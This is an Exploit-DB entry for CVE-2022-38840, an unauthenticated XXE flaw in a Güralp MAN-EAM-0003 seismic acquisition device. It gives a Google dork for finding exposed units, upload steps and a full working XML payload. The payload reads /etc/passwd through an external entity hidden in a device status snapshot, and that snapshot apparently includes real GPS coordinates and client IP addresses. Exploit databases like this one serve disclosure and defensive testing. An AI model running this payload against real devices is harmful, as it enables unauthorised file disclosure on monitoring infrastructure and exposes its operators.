MAN-EAM-0003 V3.2.4 - XXE

EDB-ID:

51037

CVE:

2022-38840

EDB Verified:

Author:

Ahmed Alroky

Type:

webapps

Exploit:   /  

Platform:

XML

Date:

2023-03-23

Vulnerable App: 
# Exploit Title: MAN-EAM-0003 V3.2.4 - XXE
# Date: 2022-09-19
# Exploit Author: Ahmed Alroky
# Author: http://guralp.com/
# Version: 3.2.4
# Authentication Required: NO
# CVE :   CVE-2022-38840
# Google dork: " webconfig menu.cgi "
# Tested on: Windows


# Exploit

1 - browse to http://<Host<http://%3cHost> name>/cgi-bin/xmlstatus.cgi
2 - click on "View saved XML snapshot" and upload XML exploit file or paste the exploit code and submit the form
3 - you will get /etc/passwd file content

#XML exploit code

```
<?xml version='1.0'?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "file:///etc/passwd"> ]>
<xml-status xmlns='http://www.guralp.com/platinum/xmlns/xmlstatus/1.1'>
<module status='-1' display-primary='true' path='das' title='Data acquisition'>
<reading status='100' display-primary='false' path='is_faulty'
    title='Fault condition'>false</reading>
<reading status='-1' display-primary='false' path='dsp_tag'
    title='DSP code tag'>platinum</reading>
<reading status='-1' display-primary='false' path='dsp_version'
    title='DSP code version'>102</reading>
<reading status='100' display-primary='true' path='dsp_state'
    title='Acquisition hardware module'>running</reading>
<reading status='-1' display-primary='true' path='reference_clock'
    title='Reference clock type'>GPS</reading>
<reading status='100' display-primary='false' path='clock_controller'
    title='ADC clock controller state'>FLL</reading>
<reading status='-1' display-primary='false' path='clock_control_val'
    title='ADC clock controller value'>46196</reading>
<reading status='100' display-primary='true' path='clock_locked'
    title='ADC clock locked'>true</reading>
<reading status='-1' display-primary='true' path='clock_last_locked'
    title='ADC clock last locked at'>2022-06-14T11:26:53Z</reading>
<reading status='100' display-primary='true' path='clock_phase_error' units='s'
    title='ADC clock phase error'>6.1e-08</reading>
</module>
<module status='-1' display-primary='true' path='das-in.sensor.DONB..TM.0' title='Sensor A'>
<reading status='100' display-primary='true' path='state'
    title='Current state'>running</reading>
<reading status='-1' display-primary='true' path='last_action_time'
    title='Last action timestamp'>never</reading>
<reading status='-1' display-primary='true' path='last_action'
    title='Last action'></reading>
<reading status='96' display-primary='true' path='mass_Z'
    title='Z mass position'>4.6%</reading>
<reading status='100' display-primary='true' path='mass_N'
    title='N mass position'>-0.3%</reading>
<reading status='100' display-primary='true' path='mass_E'
    title='E mass position'>-0.3%</reading>
</module>
<module status='-1' display-primary='true' path='das-in.sensor.DONB..TM.1' title='Sensor B'>
<reading status='100' display-primary='true' path='state'
    title='Current state'>running</reading>
<reading status='-1' display-primary='true' path='last_action_time'
    title='Last action timestamp'>never</reading>
<reading status='-1' display-primary='true' path='last_action'
    title='Last action'></reading>
</module>
<module status='-1' display-primary='true' path='das-in.sensor.DONB..TM.X' title='Auxiliary'>
<reading status='100' display-primary='true' path='state'
    title='Current state'>running</reading>
<reading status='-1' display-primary='true' path='last_action_time'
    title='Last action timestamp'>never</reading>
<reading status='-1' display-primary='true' path='last_action'
    title='Last action'></reading>
</module>
<module status='-1' display-primary='true' path='gcf-out-scream.default' title='Scream server (GCF network sender)'>
<reading status='100' display-primary='true' path='total_blocks'
    title='Total number of blocks sent'>11374055</reading>
<reading status='100' display-primary='true' path='last5_blocks'
    title='Number of blocks sent in last 5 minutes'>331</reading>
<reading status='-1' display-primary='false' path='port_number'
    title='Port listening on'>1567</reading>
<reading status='-1' display-primary='true' path='num_clients'
    title='Number of clients connected'>0</reading>
<list status='-1' display-primary='true' path='clients' title='Clients'>
</list>
</module>
<module status='-1' display-primary='false' path='gdi-base.default' title='Default data transport daemon'>
<reading status='100' display-primary='true' path='num_channels'
    title='Number of channels'>16</reading>
<reading status='100' display-primary='true' path='num_clients'
    title='Number of connected clients'>5</reading>
<reading status='100' display-primary='true' path='num_samples'
    title='Number of samples received'>7338920142</reading>
<reading status='100' display-primary='true' path='last5_samples'
    title='Number of samples in last 5 minutes'>213600</reading>
<list status='-1' display-primary='false' path='clients' title='Clients'>
<list-item status='-1' display-primary='false' path='44B02216' title='Client #1'>
<reading status='-1' display-primary='false' path='name'
    title='Client name'>gdi2gcf[default]</reading>
</list-item>
<list-item status='-1' display-primary='false' path='1CC104A5' title='Client #2'>
<reading status='-1' display-primary='false' path='name'
    title='Client name'>gdi-link-tx[default]</reading>
</list-item>
<list-item status='-1' display-primary='false' path='9D9E4553' title='Client #3'>
<reading status='-1' display-primary='false' path='name'
    title='Client name'>gdi2miniseed[default]</reading>
</list-item>
<list-item status='-1' display-primary='false' path='4B1427EC' title='Client #4'>
<reading status='-1' display-primary='false' path='name'
    title='Client name'>das-in</reading>
</list-item>
<list-item status='-1' display-primary='false' path='412FD3EB' title='Client #5'>
<reading status='-1' display-primary='false' path='name'
    title='Client name'>das-in-textstatus</reading>
</list-item>
</list>
<list status='-1' display-primary='false' path='channels' title='Channels'>
<list-item status='-1' display-primary='false' path='38B5E770' title='Channel #1'>
<reading status='-1' display-primary='false' path='name'
    title='Channel name'>DONB.HHZ.TM.00</reading>
</list-item>
<list-item status='-1' display-primary='false' path='7B77F21B' title='Channel #2'>
<reading status='-1' display-primary='false' path='name'
    title='Channel name'>DONB.HHN.TM.00</reading>
</list-item>
<list-item status='-1' display-primary='false' path='B55019F4' title='Channel #3'>
<reading status='-1' display-primary='false' path='name'
    title='Channel name'>DONB.HHE.TM.00</reading>
</list-item>
<list-item status='-1' display-primary='false' path='35ED217B' title='Channel #4'>
<reading status='-1' display-primary='false' path='name'
    title='Channel name'>DONB.HDF.TM.X0</reading>
</list-item>
<list-item status='-1' display-primary='false' path='8062D6AB' title='Channel #5'>
<reading status='-1' display-primary='false' path='name'
    title='Channel name'>DONB.HNZ.TM.10</reading>
</list-item>
<list-item status='-1' display-primary='false' path='2099C9F1' title='Channel #6'>
<reading status='-1' display-primary='false' path='name'
    title='Channel name'>DONB.HNN.TM.10</reading>
</list-item>
<list-item status='-1' display-primary='false' path='DE833721' title='Channel #7'>
<reading status='-1' display-primary='false' path='name'
    title='Channel name'>DONB.HNE.TM.10</reading>
</list-item>
<list-item status='-1' display-primary='false' path='5510ED44' title='Channel #8'>
<reading status='-1' display-primary='false' path='name'
    title='Channel name'>DONB.MMZ.TM.00</reading>
</list-item>
<list-item status='-1' display-primary='false' path='ACFA260E' title='Channel #9'>
<reading status='-1' display-primary='false' path='name'
    title='Channel name'>DONB.MMN.TM.00</reading>
</list-item>
<list-item status='-1' display-primary='false' path='5BED382E' title='Channel #10'>
<reading status='-1' display-primary='false' path='name'
    title='Channel name'>DONB.MME.TM.00</reading>
</list-item>
<list-item status='-1' display-primary='false' path='67453FF7' title='Channel #11'>
<reading status='-1' display-primary='false' path='name'
    title='Channel name'>DONB.SOH.TM.0</reading>
</list-item>
<list-item status='-1' display-primary='false' path='1D34DF0D' title='Channel #12'>
<reading status='-1' display-primary='false' path='name'
    title='Channel name'>DONB-AIB</reading>
</list-item>
<list-item status='-1' display-primary='false' path='A11AEDBA' title='Channel #13'>
<reading status='-1' display-primary='false' path='name'
    title='Channel name'>DONB.SOH.TM.1</reading>
</list-item>
<list-item status='-1' display-primary='false' path='2DBCFF6E' title='Channel #14'>
<reading status='-1' display-primary='false' path='name'
    title='Channel name'>DONB-BIB</reading>
</list-item>
<list-item status='-1' display-primary='false' path='9D7CDB17' title='Channel #15'>
<reading status='-1' display-primary='false' path='name'
    title='Channel name'>DONB.SOH.TM.X</reading>
</list-item>
<list-item status='-1' display-primary='false' path=' 8A3C070' title='Channel #16'>
<reading status='-1' display-primary='false' path='name'
    title='Channel name'>DONB-XIB</reading>
</list-item>
</list>
</module>
<module status='-1' display-primary='true' path='gdi-link-tx.default' title='System gdi-link transmitter'>
<reading status='100' display-primary='true' path='total_bytes_sent' units='bytes'
    title='Total number of bytes sent'>11273973132</reading>
<reading status='100' display-primary='true' path='last5_bytes_sent'
    title='Number of bytes sent in last 5 minutes'>325518</reading>
<reading status='100' display-primary='true' path='tx_rate'
    title='Transmit rate over last 5 minutes'>1085.06</reading>
<reading status='-1' display-primary='false' path='port_number'
    title='Port listening on'>1565</reading>
<reading status='100' display-primary='true' path='num_clients'
    title='Number of clients'>0</reading>
<list status='-1' display-primary='true' path='clients' title='Clients'>
</list>
</module>
<module status='-1' display-primary='true' path='gdi2gcf.default' title='GCF compressor. Default instance'>
<reading status='100' display-primary='true' path='num_samples_in'
    title='Total number of samples in'>7439096490</reading>
<reading status='100' display-primary='true' path='last5_samples_in'
    title='Number of samples in in last 5 minutes'>216516</reading>
<reading status='100' display-primary='true' path='num_blocks_out'
    title='Total number of blocks out'>11374055</reading>
<reading status='100' display-primary='true' path='last5_blocks_out'
    title='Number of blocks out in last 5 minutes'>331</reading>
<list status='-1' display-primary='false' path='channels' title='Channels'>
<list-item status='-1' display-primary='true' path='10D33176' title='DONB.HHZ.TM.00'>
<reading status='-1' display-primary='true' path='sample_rate' units='Hz'
    title='Sample rate'>100</reading>
<reading status='-1' display-primary='true' path='gcf_name'
    title='GCF name'>DONB-AZ0</reading>
<reading status='-1' display-primary='true' path='last_block'
    title='Last block timestamp'>2022-06-14T11:26:46.000000000Z</reading>
<reading status='-1' display-primary='false' path='digitiser_type'
    title='GCF digitiser type'>CMG-DAS</reading>
<reading status='-1' display-primary='false' path='ttl'
    title='GCF tap table lookup'>0</reading>
<reading status='-1' display-primary='false' path='pga'
    title='GCF variable gain'>1</reading>
</list-item>
<list-item status='-1' display-primary='true' path='39355EAD' title='DONB.HHN.TM.00'>
<reading status='-1' display-primary='true' path='sample_rate' units='Hz'
    title='Sample rate'>100</reading>
<reading status='-1' display-primary='true' path='gcf_name'
    title='GCF name'>DONB-AN0</reading>
<reading status='-1' display-primary='true' path='last_block'
    title='Last block timestamp'>2022-06-14T11:26:46.000000000Z</reading>
<reading status='-1' display-primary='false' path='digitiser_type'
    title='GCF digitiser type'>CMG-DAS</reading>
<reading status='-1' display-primary='false' path='ttl'
    title='GCF tap table lookup'>0</reading>
<reading status='-1' display-primary='false' path='pga'
    title='GCF variable gain'>1</reading>
</list-item>
<list-item status='-1' display-primary='true' path=' 380425E' title='DONB.HHE.TM.00'>
<reading status='-1' display-primary='true' path='sample_rate' units='Hz'
    title='Sample rate'>100</reading>
<reading status='-1' display-primary='true' path='gcf_name'
    title='GCF name'>DONB-AE0</reading>
<reading status='-1' display-primary='true' path='last_block'
    title='Last block timestamp'>2022-06-14T11:26:45.000000000Z</reading>
<reading status='-1' display-primary='false' path='digitiser_type'
    title='GCF digitiser type'>CMG-DAS</reading>
<reading status='-1' display-primary='false' path='ttl'
    title='GCF tap table lookup'>0</reading>
<reading status='-1' display-primary='false' path='pga'
    title='GCF variable gain'>1</reading>
</list-item>
<list-item status='-1' display-primary='true' path='E6EAF8A3' title='DONB.HDF.TM.X0'>
<reading status='-1' display-primary='true' path='sample_rate' units='Hz'
    title='Sample rate'>100</reading>
<reading status='-1' display-primary='true' path='gcf_name'
    title='GCF name'>DONB-XX0</reading>
<reading status='-1' display-primary='true' path='last_block'
    title='Last block timestamp'>2022-06-14T11:26:35.000000000Z</reading>
<reading status='-1' display-primary='false' path='digitiser_type'
    title='GCF digitiser type'>CMG-DAS</reading>
<reading status='-1' display-primary='false' path='ttl'
    title='GCF tap table lookup'>0</reading>
<reading status='-1' display-primary='false' path='pga'
    title='GCF variable gain'>1</reading>
</list-item>
<list-item status='-1' display-primary='true' path='45B1141C' title='DONB.HNZ.TM.10'>
<reading status='-1' display-primary='true' path='sample_rate' units='Hz'
    title='Sample rate'>100</reading>
<reading status='-1' display-primary='true' path='gcf_name'
    title='GCF name'>DONB-BZ0</reading>
<reading status='-1' display-primary='true' path='last_block'
    title='Last block timestamp'>2022-06-14T11:26:48.000000000Z</reading>
<reading status='-1' display-primary='false' path='digitiser_type'
    title='GCF digitiser type'>CMG-DAS</reading>
<reading status='-1' display-primary='false' path='ttl'
    title='GCF tap table lookup'>0</reading>
<reading status='-1' display-primary='false' path='pga'
    title='GCF variable gain'>1</reading>
</list-item>
<list-item status='-1' display-primary='true' path=' 9951403' title='DONB.HNN.TM.10'>
<reading status='-1' display-primary='true' path='sample_rate' units='Hz'
    title='Sample rate'>100</reading>
<reading status='-1' display-primary='true' path='gcf_name'
    title='GCF name'>DONB-BN0</reading>
<reading status='-1' display-primary='true' path='last_block'
    title='Last block timestamp'>2022-06-14T11:26:42.000000000Z</reading>
<reading status='-1' display-primary='false' path='digitiser_type'
    title='GCF digitiser type'>CMG-DAS</reading>
<reading status='-1' display-primary='false' path='ttl'
    title='GCF tap table lookup'>0</reading>
<reading status='-1' display-primary='false' path='pga'
    title='GCF variable gain'>1</reading>
</list-item>
<list-item status='-1' display-primary='true' path='3B38B4CE' title='DONB.HNE.TM.10'>
<reading status='-1' display-primary='true' path='sample_rate' units='Hz'
    title='Sample rate'>100</reading>
<reading status='-1' display-primary='true' path='gcf_name'
    title='GCF name'>DONB-BE0</reading>
<reading status='-1' display-primary='true' path='last_block'
    title='Last block timestamp'>2022-06-14T11:26:40.000000000Z</reading>
<reading status='-1' display-primary='false' path='digitiser_type'
    title='GCF digitiser type'>CMG-DAS</reading>
<reading status='-1' display-primary='false' path='ttl'
    title='GCF tap table lookup'>0</reading>
<reading status='-1' display-primary='false' path='pga'
    title='GCF variable gain'>1</reading>
</list-item>
<list-item status='-1' display-primary='true' path='3E12CA7F' title='DONB.MMZ.TM.00'>
<reading status='-1' display-primary='true' path='sample_rate' units='Hz'
    title='Sample rate'>4</reading>
<reading status='-1' display-primary='true' path='gcf_name'
    title='GCF name'>DONB-AM8</reading>
<reading status='-1' display-primary='true' path='last_block'
    title='Last block timestamp'>2022-06-14T11:24:48.000000000Z</reading>
<reading status='-1' display-primary='false' path='digitiser_type'
    title='GCF digitiser type'>CMG-DAS</reading>
<reading status='-1' display-primary='false' path='ttl'
    title='GCF tap table lookup'>0</reading>
<reading status='-1' display-primary='false' path='pga'
    title='GCF variable gain'></reading>
</list-item>
<list-item status='-1' display-primary='true' path='F194038D' title='DONB.MMN.TM.00'>
<reading status='-1' display-primary='true' path='sample_rate' units='Hz'
    title='Sample rate'>4</reading>
<reading status='-1' display-primary='true' path='gcf_name'
    title='GCF name'>DONB-AM9</reading>
<reading status='-1' display-primary='true' path='last_block'
    title='Last block timestamp'>2022-06-14T11:23:47.000000000Z</reading>
<reading status='-1' display-primary='false' path='digitiser_type'
    title='GCF digitiser type'>CMG-DAS</reading>
<reading status='-1' display-primary='false' path='ttl'
    title='GCF tap table lookup'>0</reading>
<reading status='-1' display-primary='false' path='pga'
    title='GCF variable gain'></reading>
</list-item>
<list-item status='-1' display-primary='true' path='80F951F3' title='DONB.MME.TM.00'>
<reading status='-1' display-primary='true' path='sample_rate' units='Hz'
    title='Sample rate'>4</reading>
<reading status='-1' display-primary='true' path='gcf_name'
    title='GCF name'>DONB-AMA</reading>
<reading status='-1' display-primary='true' path='last_block'
    title='Last block timestamp'>2022-06-14T11:23:57.000000000Z</reading>
<reading status='-1' display-primary='false' path='digitiser_type'
    title='GCF digitiser type'>CMG-DAS</reading>
<reading status='-1' display-primary='false' path='ttl'
    title='GCF tap table lookup'>0</reading>
<reading status='-1' display-primary='false' path='pga'
    title='GCF variable gain'></reading>
</list-item>
<list-item status='-1' display-primary='true' path='  DCFFBA' title='DONB.SOH.TM.0'>
<reading status='-1' display-primary='true' path='sample_rate' units='Hz'
    title='Sample rate'>nan</reading>
<reading status='-1' display-primary='true' path='gcf_name'
    title='GCF name'>DONB-A00</reading>
<reading status='-1' display-primary='true' path='last_block'
    title='Last block timestamp'></reading>
<reading status='-1' display-primary='false' path='digitiser_type'
    title='GCF digitiser type'>CMG-DAS</reading>
<reading status='-1' display-primary='false' path='ttl'
    title='GCF tap table lookup'>0</reading>
<reading status='-1' display-primary='false' path='pga'
    title='GCF variable gain'></reading>
</list-item>
<list-item status='-1' display-primary='true' path='F2D860DE' title='DONB-AIB'>
<reading status='-1' display-primary='true' path='sample_rate' units='Hz'
    title='Sample rate'>nan</reading>
<reading status='-1' display-primary='true' path='gcf_name'
    title='GCF name'>DONB-AIB</reading>
<reading status='-1' display-primary='true' path='last_block'
    title='Last block timestamp'></reading>
<reading status='-1' display-primary='false' path='digitiser_type'
    title='GCF digitiser type'>CMG-DAS</reading>
<reading status='-1' display-primary='false' path='ttl'
    title='GCF tap table lookup'>0</reading>
<reading status='-1' display-primary='false' path='pga'
    title='GCF variable gain'></reading>
</list-item>
<list-item status='-1' display-primary='true' path='8B4D513B' title='DONB.SOH.TM.1'>
<reading status='-1' display-primary='true' path='sample_rate' units='Hz'
    title='Sample rate'>nan</reading>
<reading status='-1' display-primary='true' path='gcf_name'
    title='GCF name'>DONB-B00</reading>
<reading status='-1' display-primary='true' path='last_block'
    title='Last block timestamp'></reading>
<reading status='-1' display-primary='false' path='digitiser_type'
    title='GCF digitiser type'>CMG-DAS</reading>
<reading status='-1' display-primary='false' path='ttl'
    title='GCF tap table lookup'>0</reading>
<reading status='-1' display-primary='false' path='pga'
    title='GCF variable gain'></reading>
</list-item>
<list-item status='-1' display-primary='true' path='5CC9B084' title='DONB-BIB'>
<reading status='-1' display-primary='true' path='sample_rate' units='Hz'
    title='Sample rate'>nan</reading>
<reading status='-1' display-primary='true' path='gcf_name'
    title='GCF name'>DONB-BIB</reading>
<reading status='-1' display-primary='true' path='last_block'
    title='Last block timestamp'></reading>
<reading status='-1' display-primary='false' path='digitiser_type'
    title='GCF digitiser type'>CMG-DAS</reading>
<reading status='-1' display-primary='false' path='ttl'
    title='GCF tap table lookup'>0</reading>
<reading status='-1' display-primary='false' path='pga'
    title='GCF variable gain'></reading>
</list-item>
<list-item status='-1' display-primary='true' path='B4418B8A' title='DONB.SOH.TM.X'>
<reading status='-1' display-primary='true' path='sample_rate' units='Hz'
    title='Sample rate'>nan</reading>
<reading status='-1' display-primary='true' path='gcf_name'
    title='GCF name'>DONB-X00</reading>
<reading status='-1' display-primary='true' path='last_block'
    title='Last block timestamp'></reading>
<reading status='-1' display-primary='false' path='digitiser_type'
    title='GCF digitiser type'>CMG-DAS</reading>
<reading status='-1' display-primary='false' path='ttl'
    title='GCF tap table lookup'>0</reading>
<reading status='-1' display-primary='false' path='pga'
    title='GCF variable gain'></reading>
</list-item>
<list-item status='-1' display-primary='true' path='AB7AFF68' title='DONB-XIB'>
<reading status='-1' display-primary='true' path='sample_rate' units='Hz'
    title='Sample rate'>nan</reading>
<reading status='-1' display-primary='true' path='gcf_name'
    title='GCF name'>DONB-XIB</reading>
<reading status='-1' display-primary='true' path='last_block'
    title='Last block timestamp'></reading>
<reading status='-1' display-primary='false' path='digitiser_type'
    title='GCF digitiser type'>CMG-DAS</reading>
<reading status='-1' display-primary='false' path='ttl'
    title='GCF tap table lookup'>0</reading>
<reading status='-1' display-primary='false' path='pga'
    title='GCF variable gain'></reading>
</list-item>
</list>
</module>
<module status='-1' display-primary='true' path='gdi2miniseed.default' title='Mini-SEED compressor. Default instance'>
<reading status='100' display-primary='true' path='num_samples_in'
    title='Total number of data samples in'>6184483152</reading>
<reading status='100' display-primary='true' path='last5_samples_in'
    title='Number of samples in last 5 minutes'>180000</reading>
<reading status='100' display-primary='true' path='num_text_in'
    title='Total number of text samples in'>0</reading>
<reading status='100' display-primary='true' path='last5_text_in'
    title='Number of text samples in last 5 minutes'>0</reading>
<reading status='100' display-primary='true' path='num_ms_rec_out'
    title='Total number of Miniseed records out'>22682743</reading>
<reading status='100' display-primary='true' path='last5_ms_rec_out'
    title='Number of Miniseed records out in last 5 minutes'>655</reading>
</module>
<module status='-1' display-primary='true' path='gps' title='GPS'>
<reading status='100' display-primary='true' path='have_data'
    title='GPS data received'>true</reading>
<reading status='100' display-primary='false' path='last_data'
    title='Last data received from GPS'>2022-06-14T11:26:53Z</reading>
<reading status='100' display-primary='true' path='fix'
    title='Fix'>3D</reading>
<reading status='100' display-primary='true' path='last_fix'
    title='Timestamp of last fix'>2022-06-14T11:26:53Z</reading>
<reading status='-1' display-primary='true' path='latitude' units='°'
    title='Latitude'>13.909917</reading>
<reading status='-1' display-primary='true' path='longitude' units='°'
    title='Longitude'>100.593734</reading>
<reading status='-1' display-primary='true' path='elevation' units='m'
    title='Elevation'>3</reading>
<reading status='100' display-primary='true' path='sv_count'
    title='Count of satellites in view'>26</reading>
<reading status='100' display-primary='true' path='sv_used'
    title='Count of satellites used in fix'>12</reading>
<reading status='-1' display-primary='true' path='sv_online'
    title='Timestamp of last nmea sentence'>2022-06-14T11:26:52Z</reading>
<reading status='100' display-primary='true' path='rs232_detect'
    title='RS232 device detect'>true</reading>
</module>
<module status='-1' display-primary='true' path='ntp' title='NTP'>
<reading status='-1' display-primary='false' path='mode'
    title='Timing mode'>direct_gps</reading>
<reading status='-1' display-primary='true' path='mode_desc'
    title='Timing mode'>NTP is using a GPS reference source.</reading>
<reading status='100' display-primary='true' path='locked'
    title='Clock locked'>true</reading>
<reading status='100' display-primary='true' path='estimated_error' units='s'
    title='Estimated error'>0.000131</reading>
<reading status='-1' display-primary='true' path='clock_source'
    title='Clock source'>GPS</reading>
<reading status='-1' display-primary='false' path='peer'
    title='Peer'>127.127.28.1</reading>
<reading status='-1' display-primary='false' path='peer_refid'
    title='Peer&apos;s reference ID'>GPS</reading>
</module>
<module status='-1' display-primary='true' path='seedlink-out.0' title='SEEDlink network server (instance 1)'>
<reading status='-1' display-primary='true' path='num_records'
    title='Total number of records seen'>22682743</reading>
<reading status='100' display-primary='true' path='last5_records'
    title='Number of records seen in last 5 minutes'>655</reading>
<reading status='-1' display-primary='true' path='seq'
    title='Current sequence number'>3382931</reading>
<reading status='100' display-primary='true' path='num_clients'
    title='Number of clients connected'>7</reading>
<list status='-1' display-primary='true' path='clients' title='Clients'>
<list-item status='-1' display-primary='true' path='2DF96A1C' title='Client #1700'>
<reading status='-1' display-primary='true' path='remote_ip'
    title='Remote IP address'>123.160.221.22</reading>
<reading status='-1' display-primary='true' path='remote_port'
    title='Remote TCP port'>21100</reading>
<reading status='-1' display-primary='true' path='dialup'
    title='Dialup mode'>false</reading>
<reading status='-1' display-primary='true' path='seqno'
    title='Last sequence no'>0</reading>
</list-item>
<list-item status='-1' display-primary='true' path='79C29121' title='Client #3412'>
<reading status='-1' display-primary='true' path='remote_ip'
    title='Remote IP address'>113.53.234.98</reading>
<reading status='-1' display-primary='true' path='remote_port'
    title='Remote TCP port'>33964</reading>
<reading status='-1' display-primary='true' path='dialup'
    title='Dialup mode'>false</reading>
<reading status='-1' display-primary='true' path='seqno'
    title='Last sequence no'>0</reading>
</list-item>
<list-item status='-1' display-primary='true' path='5060E6FF' title='Client #3581'>
<reading status='-1' display-primary='true' path='remote_ip'
    title='Remote IP address'>203.114.125.67</reading>
<reading status='-1' display-primary='true' path='remote_port'
    title='Remote TCP port'>48666</reading>
<reading status='-1' display-primary='true' path='dialup'
    title='Dialup mode'>false</reading>
<reading status='-1' display-primary='true' path='seqno'
    title='Last sequence no'>3221351</reading>
</list-item>
<list-item status='-1' display-primary='true' path='B1A1AB18' title='Client #3723'>
<reading status='-1' display-primary='true' path='remote_ip'
    title='Remote IP address'>113.53.234.98</reading>
<reading status='-1' display-primary='true' path='remote_port'
    title='Remote TCP port'>45158</reading>
<reading status='-1' display-primary='true' path='dialup'
    title='Dialup mode'>false</reading>
<reading status='-1' display-primary='true' path='seqno'
    title='Last sequence no'>3382931</reading>
</list-item>
<list-item status='-1' display-primary='true' path=' 91FC71C' title='Client #3720'>
<reading status='-1' display-primary='true' path='remote_ip'
    title='Remote IP address'>221.128.101.50</reading>
<reading status='-1' display-primary='true' path='remote_port'
    title='Remote TCP port'>55776</reading>
<reading status='-1' display-primary='true' path='dialup'
    title='Dialup mode'>false</reading>
<reading status='-1' display-primary='true' path='seqno'
    title='Last sequence no'>3382931</reading>
</list-item>
<list-item status='-1' display-primary='true' path='599CD113' title='Client #3721'>
<reading status='-1' display-primary='true' path='remote_ip'
    title='Remote IP address'>118.175.2.50</reading>
<reading status='-1' display-primary='true' path='remote_port'
    title='Remote TCP port'>60818</reading>
<reading status='-1' display-primary='true' path='dialup'
    title='Dialup mode'>false</reading>
<reading status='-1' display-primary='true' path='seqno'
    title='Last sequence no'>3382931</reading>
</list-item>
<list-item status='-1' display-primary='true' path='BAB80847' title='Client #3722'>
<reading status='-1' display-primary='true' path='remote_ip'
    title='Remote IP address'>203.114.125.67</reading>
<reading status='-1' display-primary='true' path='remote_port'
    title='Remote TCP port'>53984</reading>
<reading status='-1' display-primary='true' path='dialup'
    title='Dialup mode'>false</reading>
<reading status='-1' display-primary='true' path='seqno'
    title='Last sequence no'>3382931</reading>
</list-item>
</list>
</module>
<module status='-1' display-primary='true' path='storage' title='Storage'>
<reading status='100' display-primary='true' path='state'
    title='State'>Inactive</reading>
<reading status='100' display-primary='true' path='recording_state'
    title='Recording state'>Last flush good</reading>
<reading status='-1' display-primary='true' path='last_accessed'
    title='Last accessed'>2022-06-14T08:10:14Z</reading>
<reading status='-1' display-primary='true' path='free_space_pct'
    title='Free space'>27.2%</reading>
<reading status='-1' display-primary='false' path='free_space' units='bytes'
    title='Available space'>17449811968</reading>
<reading status='-1' display-primary='true' path='size' units='bytes'
    title='Storage size'>64134021120</reading>
<reading status='100' display-primary='false' path='fs_type'
    title='Filesystem type'>VFAT</reading>
<list status='-1' display-primary='false' path='clients' title='Clients'>
</list>
</module>
<module status='-1' display-primary='true' path='system' title='Linux system'>
<reading status='-1' display-primary='false' path='serial_number'
    title='Serial number'>DAS-405D62</reading>
<reading status='-1' display-primary='true' path='uptime' units='s'
    title='System uptime'>10307538</reading>
<reading status='-1' display-primary='true' path='load_average'
    title='Load Average'>1.72</reading>
<reading status='100' display-primary='true' path='root_free_space' units='bytes'
    title='Root filesystem free space'>437809152</reading>
<reading status='100' display-primary='true' path='root_percent_free_space'
    title='Root filesystem percentage space free'>77.0%</reading>
<reading status='-1' display-primary='true' path='build_label'
    title='Software repository label'>&example;</reading>
<reading status='-1' display-primary='true' path='build_version'
    title='Software build number'>15809</reading>
<reading status='-1' display-primary='true' path='build_machine'
    title='Build machine'>CMG-DAS</reading>
<reading status='-1' display-primary='true' path='last_reboot_1'
    title='Reboot 1'>2021-04-08T05:06:17Z</reading>
<reading status='-1' display-primary='true' path='last_reboot_2'
    title='Reboot 2'>2021-04-08T07:02:50Z</reading>
<reading status='-1' display-primary='true' path='last_reboot_3'
    title='Reboot 3'>2021-04-08T08:00:33Z</reading>
<reading status='-1' display-primary='true' path='last_reboot_4'
    title='Reboot 4'>2021-04-08T08:30:41Z</reading>
<reading status='-1' display-primary='true' path='last_reboot_5'
    title='Reboot 5'>2021-04-08T08:39:15Z</reading>
<reading status='-1' display-primary='true' path='last_reboot_6'
    title='Reboot 6'>2021-04-08T08:46:24Z</reading>
<reading status='-1' display-primary='true' path='last_reboot_7'
    title='Reboot 7'>2021-04-08T10:08:51Z</reading>
<reading status='-1' display-primary='true' path='last_reboot_8'
    title='Reboot 8'>2021-04-09T07:10:41Z</reading>
<reading status='-1' display-primary='true' path='last_reboot_9'
    title='Reboot 9'>2021-10-07T06:48:35Z</reading>
<reading status='-1' display-primary='true' path='last_reboot_10'
    title='Reboot 10'>2022-02-15T04:14:30Z</reading>
<reading status='100' display-primary='true' path='temperature' units='°C'
    title='System temperature'>43.875</reading>
<reading status='100' display-primary='true' path='voltage' units='V'
    title='Power supply voltage'>12.75</reading>
<reading status='100' display-primary='true' path='current' units='A'
    title='Power supply current'>0.442</reading>
<reading status='100' display-primary='true' path='sensor_A_voltage' units='V'
    title='Sensor A voltage'>12.675</reading>
<reading status='100' display-primary='true' path='sensor_A_current' units='A'
    title='Sensor A current'>0.289</reading>
<reading status='100' display-primary='true' path='sensor_B_voltage' units='V'
    title='Sensor B voltage'>12.725</reading>
<reading status='100' display-primary='true' path='sensor_B_current' units='A'
    title='Sensor B current'>0.002</reading>
</module>
</xml-status>

```
Copy
Tags:
Advisory/Source: Link
Databases Links Sites Solutions
Exploits Search Exploit-DB OffSec Courses and Certifications
Google Hacking Submit Entry Kali Linux Learn Subscriptions
Papers SearchSploit Manual VulnHub OffSec Cyber Range
Shellcodes Exploit Statistics Proving Grounds
Penetration Testing Services
Exploits Google Hacking Papers Shellcodes
Search Exploit-DB Submit Entry SearchSploit Manual Exploit Statistics
OffSec Kali Linux VulnHub
Courses and Certifications Learn Subscriptions OffSec Cyber Range Proving Grounds Penetration Testing Services